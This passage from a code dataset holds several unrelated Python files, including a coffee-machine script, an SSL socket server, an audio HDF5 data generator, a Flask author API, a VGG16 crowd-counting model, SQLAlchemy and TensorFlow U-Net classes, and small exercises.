def exit(self):\n self.working = False\n\n def work(self):\n while self.working:\n print(\"Write action (buy, fill, take, remaining, exit):\")\n action = input()\n self.actions[action]()\n print()\n\n\ncoffee_machine = Machine()\ncoffee_machine.work()\n","sub_path":"Coffee-Machine/coffee_machine.py","file_name":"coffee_machine.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"565012422","text":"# coding=utf-8\n# 服务器字符串加密传输\n#!/usr/bin/env python\nimport socket\nimport ssl\n\ncontext = ssl.SSLContext(ssl.PROTOCOL_SSLv23)\ncontext.load_cert_chain(certfile='mycertfile.pem',keyfile='mykeyfile.pem')\n\nsk = socket.socket()\nsk.bind((\"127.0.0.1\", 30332))\nsk.listen(2)\nwhile 1:\n conn, addr = sk.accept()\n print('Connected by', addr)\n ssl_conn = context.wrap_socket(conn,server_side=True)\n while 1:\n accept_data = ssl_conn.recv(1024)\n accept_data2 = str(accept_data)\n\n print(\"\".join((\"message :\",accept_data2,\" port: \",str(addr[1]))))\n if accept_data2 == 'bye':\n break\n send_data = input(\"your message: \")\n ssl_conn.sendall(bytes(send_data, encoding='utf8'))\n ssl_conn.close()","sub_path":"socket_server.py","file_name":"socket_server.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"38186547","text":"import logging\nimport os\nimport pdb\nfrom timeit import default_timer as timer\n\nimport h5py\nimport numpy as np\n\nfrom utils.utilities import (doa_labels, doa_to_ix, event_labels, lb_to_ix,\n test_split_dict, train_splits_dict,\n valid_split_dict)\n\nclass DevDataGenerator19(object):\n\n def __init__(self, args, hdf5_dir, logging=logging):\n \"\"\"\n\n Inputs:\n args: all parameters\n hdf5_fn: str, path of hdf5 data\n logging: logging file\n \"\"\"\n\n # Parameters\n self.fs = args.fs\n self.nfft = args.nfft\n self.hopsize = args.hopsize\n self.mel_bins = args.mel_bins\n self.chunklen = args.chunklen\n self.hopframes = args.hopframes\n\n self.batch_size = args.batch_size\n\n self.train_random_state = np.random.RandomState(args.seed)\n self.test_random_state = np.random.RandomState(args.seed)\n\n self.class_num = len(event_labels)\n\n train_splits = train_splits_dict[args.fold]\n valid_splits = valid_split_dict[args.fold]\n test_splits = test_split_dict[args.fold]\n\n hdf5_fns = sorted(os.listdir(hdf5_dir))\n \n #pdb.set_trace()\n\n self.train_hdf5_fn = [fn for fn in hdf5_fns if int(fn[4]) in train_splits] # fn[4] ==> fold?_room...\n self.valid_hdf5_fn = [fn for fn in hdf5_fns if int(fn[4]) in valid_splits]\n self.test_hdf5_fn = [fn for fn in hdf5_fns if int(fn[4]) in test_splits]\n\n # Load the segmented data\n load_begin_time = timer()\n\n # Train data\n pointer = 0\n self.train_features_list = []\n self.train_fn_list = []\n self.train_target_events_list = []\n self.train_target_doas_list = []\n self.train_target_dists_list = []\n self.train_segmented_indexes = []\n \n for hdf5_fn in self.train_hdf5_fn:\n \n #pdb.set_trace()\n\n fn = hdf5_fn.split('.')[0]\n if fn[21] != '3': # overlapping == 1\n hdf5_path = os.path.join(hdf5_dir, hdf5_fn)\n feature, target_event, target_doa, target_dist = \\\n self.load_hdf5(hdf5_path)\n\n train_index = []\n # segment, keep only indexes\n frame_num = feature.shape[1]\n if frame_num > self.chunklen:\n train_index = np.arange(pointer, pointer+frame_num-self.chunklen+1, self.hopframes).tolist()\n if (frame_num - self.chunklen) % self.hopframes != 0:\n train_index.append(pointer+frame_num-self.chunklen)\n elif frame_num < self.chunklen:\n feature = np.concatenate(\n (feature, \\\n -100*np.ones((feature.shape[0],self.chunklen-frame_num,feature.shape[-1]))), axis=1)\n target_event = np.concatenate(\n (target_event, \\\n -100*np.ones((self.chunklen-frame_num,target_event.shape[-1]))), axis=0)\n target_doa = np.concatenate(\n (target_doa, \\\n -100*np.ones((self.chunklen-frame_num,target_doa.shape[-1]))), axis=0) \n target_dist = np.concatenate(\n (target_dist, \\\n -100*np.ones((self.chunklen-frame_num,target_dist.shape[-1]))), axis=0)\n train_index.append(pointer)\n elif frame_num == self.chunklen:\n train_index.append(pointer)\n pointer += frame_num\n\n self.train_features_list.append(feature)\n self.train_fn_list.append(fn)\n self.train_target_events_list.append(target_event)\n self.train_target_doas_list.append(target_doa)\n self.train_target_dists_list.append(target_dist)\n self.train_segmented_indexes.append(train_index)\n\n #pdb.set_trace()\n #pdb.set_trace()\n \n self.train_features = np.concatenate(self.train_features_list, axis=1)\n self.train_target_events = np.concatenate(self.train_target_events_list, axis=0)\n self.train_target_doas = np.concatenate(self.train_target_doas_list, axis=0)\n self.train_target_dists = np.concatenate(self.train_target_dists_list, axis=0)\n self.train_segmented_indexes = np.concatenate(self.train_segmented_indexes, axis=0)\n\n # validation data\n self.valid_features_list = []\n self.valid_fn_list = []\n self.valid_target_events_list = []\n self.valid_target_doas_list = []\n self.valid_target_dists_list = []\n for hdf5_fn in self.valid_hdf5_fn:\n \n fn = hdf5_fn.split('.')[0]\n if fn[13] != '3': # overlapping == 1\n hdf5_path = os.path.join(hdf5_dir, hdf5_fn)\n feature, target_event, target_doa, target_dist = \\\n self.load_hdf5(hdf5_path)\n \n self.valid_features_list.append(feature)\n self.valid_fn_list.append(fn)\n self.valid_target_events_list.append(target_event)\n self.valid_target_doas_list.append(target_doa)\n self.valid_target_dists_list.append(target_dist)\n\n # Test data\n self.test_features_list = []\n self.test_fn_list = []\n self.test_target_events_list = []\n self.test_target_doas_list = []\n self.test_target_dists_list = []\n for hdf5_fn in self.test_hdf5_fn:\n \n fn = hdf5_fn.split('.')[0]\n if fn[21] != '3': # overlapping == 1\n hdf5_path = os.path.join(hdf5_dir, hdf5_fn)\n feature, target_event, target_doa, target_dist = \\\n self.load_hdf5(hdf5_path)\n \n self.test_features_list.append(feature)\n self.test_fn_list.append(fn)\n self.test_target_events_list.append(target_event)\n self.test_target_doas_list.append(target_doa)\n self.test_target_dists_list.append(target_dist)\n\n # Scalar\n scalar_path = os.path.join(os.path.abspath(os.path.join(hdf5_dir, os.pardir)), args.audio_type + '_scalar.h5')\n with h5py.File(scalar_path, 'r') as hf_scalar:\n self.mean = hf_scalar['mean'][:]\n self.std = hf_scalar['std'][:]\n\n load_time = timer() - load_begin_time\n logging.info('Loading training data time: {:.3f} s.\\n'.format(load_time))\n logging.info('Training audios number: {}\\n'.format(len(self.train_segmented_indexes)))\n logging.info('Cross-Validation audios number: {}\\n'.format(len(self.valid_fn_list)))\n logging.info('Testing audios number: {}\\n'.format(len(self.test_fn_list))) \n\n self.batchNum_per_epoch = int(np.ceil(len(self.train_segmented_indexes)/self.batch_size))\n \n def load_hdf5(self, hdf5_path):\n '''\n Load hdf5. \n \n Args:\n hdf5_path: string\n \n Returns:\n feature: (channel_num, frame_num, freq_bins)\n target_event: (frame_num, class_num)\n target_doa: (frame_num, 2*class_num) for 'regr' | (frame_num, class_num, ele_num*azi_num=324) for 'clas'\n target_dist: (frame_num, class_num) for 'regr' | (frame_num, class_num, 2) for 'clas'\n '''\n\n with h5py.File(hdf5_path, 'r') as hf:\n feature = hf['feature'][:]\n event = [e.decode() for e in hf['target']['event'][:]]\n start_time = hf['target']['start_time'][:]\n end_time = hf['target']['end_time'][:]\n elevation = hf['target']['elevation'][:]\n azimuth = hf['target']['azimuth'][:] \n distance = hf['target']['distance'][:] \n \n frame_num = feature.shape[1]\n target_event = np.zeros((frame_num, self.class_num))\n target_ele = np.zeros((frame_num, self.class_num))\n target_azi = np.zeros((frame_num, self.class_num))\n target_dist = np.zeros((frame_num, self.class_num))\n \n for n in range(len(event)):\n start_idx = np.int(np.round(start_time[n] * self.fs//self.hopsize)) ##### consider it further about this round!!!\n end_idx = np.int(np.round(end_time[n] * self.fs//self.hopsize))\n class_idx = lb_to_ix[event[n]]\n target_event[start_idx:end_idx, class_idx] = 1.0\n target_ele[start_idx:end_idx, class_idx] = elevation[n] * np.pi / 180.0\n target_azi[start_idx:end_idx, class_idx] = azimuth[n] * np.pi / 180.0\n target_dist[start_idx:end_idx, class_idx] = distance[n] * 1.0\n\n target_doa = np.concatenate((target_azi, target_ele), axis=-1)\n\n return feature, target_event, target_doa, target_dist\n\n def transform(self, x):\n \"\"\"\n\n Use the calculated scalar to transform data.\n \"\"\"\n\n return (x - self.mean) / self.std\n\n def generate_train(self):\n \"\"\"Generate batch data for training.\n\n Returns:\n batch_x: (batch_size, mic_channels, seq_len, freq_bins)\n batch_y_dict: {'events': target_events, 'elevation': target_elevation,\n 'azimuth': target_azimuth, 'distance': target_distance}\n \"\"\"\n len_x = len(self.train_segmented_indexes)\n indexes = np.array(self.train_segmented_indexes)\n\n self.train_random_state.shuffle(indexes)\n\n pointer = 0\n\n while True:\n \n if pointer >= len_x:\n pointer = 0\n self.train_random_state.shuffle(indexes)\n # self.\n \n # if pointer + self.batch_size <= len_x:\n # batch_indexes = indexes[pointer: pointer + self.batch_size]\n # else:\n # batch_indexes = np.hstack((indexes[pointer: ], indexes[: self.batch_size - (len_x - pointer)]))\n\n batch_indexes = indexes[pointer: pointer + self.batch_size]\n pointer += self.batch_size\n\n data_idxes = batch_indexes[:, None] + np.arange(self.chunklen)\n batch_x = self.train_features[:, data_idxes]\n batch_x = batch_x.transpose(1, 0, 2, 3)\n batch_x = self.transform(batch_x)\n \n batch_y_dict = {'events': self.train_target_events[data_idxes],\n 'doas': self.train_target_doas[data_idxes],\n 'distances': self.train_target_dists[data_idxes]}\n \n yield batch_x, batch_y_dict\n\n def generate_test(self, data_type, max_audio_num=None):\n \"\"\"\n Generate test data for (train, cross validation and test). \n\n Args:\n data_type: 'train' | 'valid' | 'test'\n max_audio_num: int, maximum iteration for validation\n\n Returns:\n batch_x: (batch_size, mic_channels, seq_len, freq_bins)\n batch_y: {'names': names,\n 'events': target_events, 'elevation': target_elevation,\n 'azimuth': target_azimuth, 'distance': target_distance}\n \"\"\" \n\n if data_type == 'train':\n features = self.train_features_list\n fn = self.train_fn_list\n target_events = self.train_target_events_list\n target_doas = self.train_target_doas_list\n target_dists= self.train_target_dists_list\n elif data_type == 'valid':\n features = self.valid_features_list\n fn = self.valid_fn_list\n target_events = self.valid_target_events_list\n target_doas = self.valid_target_doas_list\n target_dists = self.valid_target_dists_list\n elif data_type == 'test':\n features = self.test_features_list\n fn = self.test_fn_list\n target_events = self.test_target_events_list\n target_doas = self.test_target_doas_list\n target_dists = self.test_target_dists_list \n else:\n raise Exception('Incorrect data type!')\n\n len_x = len(features)\n indexes = np.arange(len_x)\n\n if max_audio_num:\n self.test_random_state.shuffle(indexes)\n\n for n, idx in enumerate(indexes):\n \n if n == max_audio_num:\n break \n\n batch_x = features[idx]\n batch_x = batch_x[None,:,:,:]\n batch_x = self.transform(batch_x) \n\n batch_fn = fn[idx]\n\n batch_y_dict = {'events': target_events[idx],\n 'doas': target_doas[idx],\n 'distances': target_dists[idx]}\n\n yield batch_x, batch_y_dict, batch_fn\n\n\nclass EvalDataGenerator19(object):\n\n def __init__(self, args, hdf5_dir, logging=logging):\n \"\"\"\n\n Inputs:\n args: all parameters\n hdf5_fn: str, path of hdf5 data\n logging: logging file\n \"\"\"\n\n # Parameters\n self.eval_hdf5_fn = sorted(os.listdir(hdf5_dir))\n\n # Load the evaluation data\n load_begin_time = timer()\n\n self.eval_features_list = []\n self.eval_fn_list = []\n for hdf5_fn in self.eval_hdf5_fn:\n fn = hdf5_fn.split('.')[0]\n hdf5_path = os.path.join(hdf5_dir, hdf5_fn)\n with h5py.File(hdf5_path, 'r') as hf:\n feature = hf['feature'][:] \n self.eval_features_list.append(feature)\n self.eval_fn_list.append(fn)\n\n # Scalar\n scalar_path = os.path.join(os.path.abspath(os.path.join(hdf5_dir, os.pardir)), args.audio_type + '_scalar.h5')\n with h5py.File(scalar_path, 'r') as hf_scalar:\n self.mean = hf_scalar['mean'][:]\n self.std = hf_scalar['std'][:]\n\n load_time = timer() - load_begin_time\n logging.info('Loading evaluation data time: {:.3f} s.\\n'.format(load_time))\n logging.info('Evaluation audios number: {}\\n'.format(len(self.eval_fn_list))) \n\n def transform(self, x):\n \"\"\"\n\n Use the calculated scalar to transform data.\n \"\"\"\n\n return (x - self.mean) / self.std\n\n def generate_eval(self):\n \"\"\"\n\n Generate test data for (train, cross validation and test). \n\n Returns:\n batch_x: (batch_size, mic_channels, seq_len, freq_bins)\n \"\"\" \n features = self.eval_features_list\n fn = self.eval_fn_list\n\n len_x = len(features)\n indexes = np.arange(len_x)\n\n for _, idx in enumerate(indexes):\n\n batch_x = features[idx]\n batch_x = batch_x[None,:,:,:]\n batch_x = self.transform(batch_x) \n\n batch_fn = fn[idx]\n\n yield batch_x, batch_fn\n\n\nclass DevDataGenerator20(DevDataGenerator19):\n #def __init__(self, args, hdf5_dir, logging=logging):\n # super().__init__(self, args, hdf5_dir, logging=logging):\n\n def load_hdf5(self, hdf5_path):\n '''\n Load hdf5. \n \n Args:\n hdf5_path: string\n \n Returns:\n feature: (channel_num, frame_num, freq_bins)\n target_event: (frame_num, class_num)\n target_doa: (frame_num, 2*class_num) for 'regr' | (frame_num, class_num, ele_num*azi_num=324) for 'clas'\n target_track_idx: (frame_num, track_number_index)\n (NO =>) target_dist: (frame_num, class_num) for 'regr' | (frame_num, class_num, 2) for 'clas'\n '''\n\n with h5py.File(hdf5_path, 'r') as hf:\n #pdb.set_trace()\n\n feature = hf['feature'][:] # float\n frame = hf['target']['frame'][:] # float\n event = hf['target']['event'][:] # float\n # ov = hf['target']['ov'][:] # float\n azimuth = hf['target']['azimuth'][:] # float\n elevation = hf['target']['elevation'][:] # float\n distance = hf['target']['distance'][:] # float\n \n frame_num = feature.shape[1]\n target_event = np.zeros((frame_num, self.class_num))\n target_ele = np.zeros((frame_num, self.class_num))\n target_azi = np.zeros((frame_num, self.class_num))\n # target_ov = np.zeros((frame_num, self.class_num))\n target_dist = np.zeros((frame_num, self.class_num))\n \n #for n in range(frame_num):\n #pdb.set_trace()\n for i, fr_float in enumerate(frame) :\n f = int(fr_float)\n e = int(event[i])\n target_event[f][e] = 1.0\n target_ele[f][e] = elevation[i] * np.pi / 180.0\n target_azi[f][e] = azimuth[i] * np.pi / 180.0\n # target_ov[f][e] = ov[i] * 1.0\n target_dist[f][e] = distance[i] # 1.0 (fixed)\n\n target_doa = np.concatenate((target_azi, target_ele), axis=-1)\n\n return feature, target_event, target_doa, target_dist\n\n\nclass EvalDataGenerator20(EvalDataGenerator19):\n pass\n","sub_path":"utils/data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":17048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"508174624","text":"from flask import Response, request, jsonify\nfrom database.models import Author\nfrom flask_restful import Resource\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom flask_mongoengine import Pagination\nfrom mongoengine.errors import (FieldDoesNotExist, NotUniqueError,\n DoesNotExist, ValidationError,\n InvalidQueryError)\nimport json\nfrom resources.errors import (SchemaValidationError, AuthorAlreadyExistsError,\n InternalServerError, UpdatingAuthorError,\n DeletingAuthorError, AuthorNotExistsError)\nfrom resources.pagination import paginate, search\n\n\nclass AuthorsApi(Resource):\n def get(self):\n search_text = request.args.get('search')\n if search_text:\n authors = paginate(search(Author, search_text))\n else:\n authors = paginate(Author.objects)\n return Response(json.dumps(authors),\n mimetype=\"application/json\",\n status=200)\n\n def post(self):\n try:\n body = request.get_json()\n author = Author(**body)\n author.save()\n id = author.id\n return {'id': str(id)}, 200\n except (FieldDoesNotExist, ValidationError):\n raise SchemaValidationError\n except NotUniqueError:\n raise AuthorAlreadyExistsError\n except Exception:\n raise InternalServerError\n\n\nclass AuthorApi(Resource):\n def put(self, id):\n try:\n author = Author.objects.get(id=id)\n body = request.get_json()\n author.update(**body)\n return '', 200\n except InvalidQueryError:\n raise SchemaValidationError\n except DoesNotExist:\n raise UpdatingAuthorError\n except Exception:\n raise InternalServerError\n\n def delete(self, id):\n try:\n author = Author.objects.get(id=id)\n author.delete()\n return '', 200\n except DoesNotExist:\n raise DeletingAuthorError\n except Exception:\n raise InternalServerError\n\n def get(self, id):\n try:\n authors = Author.objects.get(id=id).to_json()\n return Response(authors, mimetype=\"application/json\", status=200)\n except DoesNotExist:\n raise AuthorNotExistsError\n except Exception:\n raise InternalServerError\n","sub_path":"resources/author.py","file_name":"author.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"557510195","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom misc.layer import Conv2d, FC\nfrom torchvision import models\nfrom misc.utils import *\n\n\nclass VGG16_LCM(nn.Module):\n def __init__(self, load_weights=True):\n super(VGG16_LCM, self).__init__()\n\n self.layer5 = self.VGG_make_layers([64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M',\n 512, 512, 512, 'M', 512, 512, 512, 'M'])\n\n self.reg_layer = nn.Sequential(\n nn.Conv2d(512, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 128, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(128, 1, 1),\n nn.AvgPool2d(2, 2),\n )\n\n if load_weights:\n mod = models.vgg16(pretrained=False)\n pretrain_path = './models/Pretrain_Model/vgg16-397923af.pth'\n mod.load_state_dict(torch.load(pretrain_path))\n print(\"loaded pretrain model: \" + pretrain_path)\n\n self._initialize_weights()\n self.layer5.load_state_dict(mod.features[0:31].state_dict())\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.normal_(m.weight, std=0.01)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x):\n x = self.layer5(x)\n x = self.reg_layer(x)\n\n return x\n\n def VGG_make_layers(self, cfg, in_channels=3, batch_norm=False, dilation=1):\n d_rate = dilation\n layers = []\n for v in cfg:\n if v == 'M':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n else:\n conv2d = nn.Conv2d(in_channels, v, kernel_size=3, padding=d_rate, dilation=d_rate)\n if batch_norm:\n layers += [conv2d, nn.BatchNorm2d(v), nn.ReLU(inplace=True)]\n else:\n layers += [conv2d, nn.ReLU(inplace=True)]\n in_channels = v\n return nn.Sequential(*layers)\n","sub_path":"models/SCC_Model/VGG16_LCM.py","file_name":"VGG16_LCM.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"308976635","text":"import numpy as np\nimport cv2\nfrom PyQt5.QtGui import QPixmap,QImage\nfrom PIL.ImageQt import ImageQt\nfrom PIL import Image as PILImage\nclass ImageExtraction:\n\n def __init__(self,imagePIL):\n self.imageArr = self.convertPIL2Array(imagePIL)\n self.imageBgr = self.convertArray2BGR(self.imageArr)\n\n def convertPIL2Array(self,imagePIL):\n return np.array(imagePIL)\n\n def convertArray2BGR(self,imageArr):\n return cv2.cvtColor(imageArr, cv2.COLOR_RGB2BGR)\n \n def kMeanExtraction(self,mode=0):\n img = cv2.cvtColor(self.imageArr, cv2.COLOR_RGB2BGR)\n img = cv2.blur(img,(3,3))\n Z = img.reshape((-1,3))\n\n Z = np.float32(Z)\n\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10, 1.0)\n K = 3\n ret,label,center=cv2.kmeans(Z,K,None,criteria,10,cv2.KMEANS_RANDOM_CENTERS)\n\n center = np.uint8(center)\n cenTranspose = center.transpose()[0]\n indexMax = np.argmax(cenTranspose)\n indexMin = np.argmin(cenTranspose)\n \n labelf = label.flatten()\n labelf[labelf != indexMax] = indexMin\n\n res = center[labelf]\n res2 = res.reshape((img.shape))\n # ret,thresh = cv2.threshold(res2,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n image_PIL = PILImage.fromarray(res2)\n \n if mode == 0:\n return QPixmap(QImage(ImageQt(image_PIL.resize((396, 396),PILImage.ANTIALIAS))))\n else:\n return image_PIL\n \n \n","sub_path":"FeatureExtraction/ImageExtraction.py","file_name":"ImageExtraction.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"386180277","text":"# fib.py\ncache = {}\n\ndef fib(n):\n if n not in cache:\n if n <= 1: cache[n] = n\n else: cache[n] = fib(n-1) + fib(n-2)\n \n return cache[n]\n\nprint( fib(30) )","sub_path":"matd74_algoritmos_grafos/src/dynamic/fibonacci/fib_topdown.py","file_name":"fib_topdown.py","file_ext":"py","file_size_in_byte":175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"85301226","text":"#!/usr/bin/env python\n\nimport serial\nimport time\nimport datetime\n\n#change this to make it actually work\n\n\nmonth = datetime.date.today().month\nday = datetime.date.today().day\nhour = datetime.datetime.now().hour\nminute = datetime.datetime.now().minute\nsecond = datetime.datetime.now().second\n\ndate = [month, day, hour, minute, second]\n\nser = serial.Serial('/dev/ttyACM0', 9600, serial.EIGHTBITS, serial.PARITY_NONE, serial.STOPBITS_ONE) # opens serial port\nser.write(date)\n\nprint(\"sent!\")\n","sub_path":"cwlm/src/send_dates.py","file_name":"send_dates.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"605618794","text":"\"\"\"\r\nWrite a “pure” version of increment that creates and returns a new Time object rather than modifying the parameter.\r\n\r\n\"\"\"\r\n\r\nclass Time(object):\r\n \"\"\"Represents the time of day.\r\n attributes: hour, minute, second\"\"\"\r\n\r\ntime = Time()\r\ntime.hour = 11\r\ntime.minute = 59\r\ntime.second = 30\r\n\r\n\r\ndef increment(time, seconds):\r\n new_time = Time()\r\n new_time.second = time.second + seconds\r\n\r\n add_mins, remain_seconds = divmod(new_time.second, 60)\r\n\r\n new_time.minute = time.minute + add_mins\r\n new_time.second = remain_seconds\r\n\r\n\r\n add_hours, remain_minute = divmod(new_time.minute, 60)\r\n\r\n new_time.hour = time.hour + add_hours\r\n new_time.minute = remain_minute\r\n\r\n return new_time\r\n","sub_path":"Chapter 16/Exercise_16_4.py","file_name":"Exercise_16_4.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"389906364","text":"from sqlalchemy import ForeignKey\nfrom sqlalchemy.orm import relationship\nfrom airflow.utils.db import provide_session\nfrom sqlalchemy import Column, String, Integer, Text\nfrom qcos_addons.models.base import Base\n\nclass TighteningController(Base):\n \"\"\"\n tightening controllers:拧紧控制器数据模型\n \"\"\"\n\n __tablename__ = \"tightening_controller\"\n\n id = Column(Integer, primary_key=True, nullable=False, autoincrement=True)\n controller_name = Column(String(1000), nullable=False, unique=True)\n line_code = Column(String(1000), nullable=False)\n line_name = Column(String(1000), nullable=True)\n work_center_code = Column(String(1000), nullable=False)\n work_center_name = Column(String(1000), nullable=True)\n device_type_id = Column(Integer, ForeignKey('device_type.id', onupdate='CASCADE', ondelete='SET NULL'),\n nullable=False)\n device_type = relationship(\"DeviceTypeModel\", foreign_keys=[device_type_id], lazy='joined')\n config = Column(Text, nullable=True)\n\n field_name_map = {\n 'controller_name': ['控制器名称'],\n 'line_code': ['工段编号'],\n 'line_name': ['工段名称'],\n 'work_center_code': ['工位编号'],\n 'work_center_name': ['工位名称'],\n 'device_type_id': [],\n }\n\n def __init__(self, *args, controller_name=None, line_code=None, line_name=None, work_center_code=None,\n work_center_name=None, device_type_id=None, **kwargs):\n super(TighteningController, self).__init__(*args, **kwargs)\n self.controller_name = controller_name\n self.line_code = line_code\n self.line_name = line_name\n self.work_center_code = work_center_code\n self.work_center_name = work_center_name\n self.device_type_id = device_type_id\n\n def as_dict(self):\n v: dict = self.__dict__\n if v:\n v.pop('id')\n if v.get('_sa_instance_state'):\n v.pop('_sa_instance_state')\n return v\n\n @classmethod\n @provide_session\n def find_controller(cls, controller_name, session=None):\n return session.query(cls).filter(cls.controller_name == controller_name).first()\n\n def to_dict(self):\n return {\n 'id': self.id,\n 'controller_name': self.controller_name,\n 'line_code': self.line_code,\n 'line_name': self.line_name,\n 'work_center_code': self.work_center_code,\n 'work_center_name': self.work_center_name,\n 'device_type_id': self.device_type_id\n }\n\n @classmethod\n @provide_session\n def controller_exists(cls, session=None, **kwargs) -> bool:\n fields_data = cls.to_db_fields(**kwargs)\n if 'controller_name' not in fields_data:\n return False\n return cls.find_controller(\n fields_data.get('controller_name', None)\n , session=session\n ).to_dict().get('id', None) is not None\n\n @classmethod\n @provide_session\n def list_controllers(cls, session=None):\n controllers = list(session.query(cls).all())\n return controllers\n\n @classmethod\n def to_db_fields(cls, **kwargs):\n extra_fields = kwargs.keys()\n controller_data = {}\n for f in extra_fields:\n for field_name, val in cls.field_name_map.items():\n if f in val or f == field_name:\n controller_data[field_name] = kwargs[f]\n continue\n return controller_data\n\n @classmethod\n @provide_session\n def add_controller(cls, session=None, **kwargs):\n controller_data = cls.to_db_fields(**kwargs)\n session.add(TighteningController(**controller_data))\n\n @staticmethod\n def get_line_code_by_controller_name(controller_name):\n controller_data = TighteningController.find_controller(controller_name)\n if not controller_data:\n raise Exception('未找到控制器数据: {}'.format(controller_name))\n return controller_data.to_dict().get('line_code', None), controller_data.to_dict().get('id')\n","sub_path":"qcos_addons/models/tightening_controller.py","file_name":"tightening_controller.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"359671075","text":"from __future__ import print_function, division, absolute_import, unicode_literals\nimport tensorflow as tf\nfrom unet_attention import unet\n\nimport logging\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')\n\nclass Net(object):\n def __init__(self, conf):\n logging.info('initialize network...')\n tf.reset_default_graph()\n self.conf = conf\n\n if conf.model_mode == '2d':\n self.images = tf.placeholder(tf.float32, shape=[None, None, None, self.conf.interval], name='images')\n self.labels = tf.placeholder(tf.uint8, shape=[None, None, None], name='labels')\n elif conf.model_mode == '3d':\n self.images = tf.placeholder(tf.float32, shape=[None, self.conf.interval, None, None, 1], name='images')\n self.labels = tf.placeholder(tf.uint8, shape=[None, self.conf.interval, None, None], name='labels')\n else:\n raise('model_mode '+self.conf.model_mode+' should be \\'2d\\' or \\'3d\\'')\n\n self.one_hot_labels = tf.one_hot(self.labels, depth=self.conf.class_num, axis=-1, name='one_hot_labels')\n self.learning_rate = tf.Variable(self.conf.learning_rate)\n\n logging.info('get logits...')\n self.logits = self.build_network(self.images, self.conf.class_num)\n self.loss = self.get_loss(self.logits, self.one_hot_labels)\n # self.cross_entropy = tl.cost.cross_entropy(tf.reshape(self.logits, [-1, self.conf.class_num]),\n # tf.reshape(tf.cast(self.labels, tf.int32), [-1]), name='cross_entropy')\n self.cross_entropy = tf.reduce_mean(self.cross_entropy(tf.reshape(self.one_hot_labels, [-1, self.conf.class_num]),\n tf.reshape(self.logits+1e-10, [-1, self.conf.class_num])))\n self.accuracy = self.get_accuracy(self.logits, self.labels)\n self.prediction = self.get_prediction(self.logits)\n\n self.get_summary()\n\n def cross_entropy(self, y_, output_map):\n pred = tf.nn.softmax(output_map)\n return -tf.reduce_mean(y_ * tf.log(tf.clip_by_value(pred, 1e-5, 1.0)), name=\"cross_entropy\")\n\n def to_gray_image(self, image):\n image = tf.cast(image, tf.float32)\n image = image - tf.reduce_min(image)\n image = image * 255 / tf.reduce_max(image)\n return image\n\n def build_network(self, x, class_num):\n return unet(x, x.get_shape().as_list()[-1], class_num)\n\n def get_loss(self, logits, labels):\n if self.conf.loss_type == 'dice_loss':\n # dice_loss\n loss = (1 - tl.cost.dice_coe(tf.nn.softmax(logits), labels))\n elif self.conf.loss_type == 'cross_entropy':\n # weighted_cross_entropy\n prob = tf.nn.softmax(logits + 1e-10)\n loss_map = tf.multiply(labels, tf.log(tf.clip_by_value(prob, 1e-10, 1.0)))\n loss = -tf.reduce_mean(tf.multiply(loss_map, self.conf.class_weights))\n else:\n raise('unknown loss: '+self.conf.loss_type)\n\n return loss\n\n def get_prediction(self, logits):\n return tf.nn.softmax(logits)\n\n def get_accuracy(self, logits, labels):\n correct_pred = tf.equal(tf.argmax(tf.nn.softmax(logits), -1), tf.cast(labels, tf.int64))\n return tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n def get_summary(self):\n if self.conf.model_mode == '2d':\n for i in range(self.images.get_shape().as_list()[-1]):\n tf.summary.image('input_' + str(i), self.to_gray_image(tf.slice(self.images, (0, 0, 0, i), (1, -1, -1, 1))))\n tf.summary.image('label',\n self.to_gray_image(tf.expand_dims(tf.slice(self.labels, (0, 0, 0), (1, -1, -1)), axis=3)))\n for i in range(1, self.prediction.get_shape().as_list()[-1]):\n tf.summary.image('output_prob_' + str(i),\n self.to_gray_image(tf.slice(self.prediction, (0, 0, 0, i), (1, -1, -1, 1))))\n tf.summary.image('output', self.to_gray_image(\n tf.expand_dims(tf.slice(tf.argmax(self.prediction, -1), (0, 0, 0), (1, -1, -1)), axis=3)))\n elif self.conf.model_mode == '3d':\n for i in range(self.images.get_shape().as_list()[-1]):\n tf.summary.image('input_' + str(i), self.to_gray_image(\n tf.squeeze(tf.slice(self.images, (0, 0, 0, 0, i), (1, 1, -1, -1, 1)), axis=0)))\n tf.summary.image('label_', self.to_gray_image(\n tf.expand_dims(tf.squeeze(tf.slice(self.labels, (0, 0, 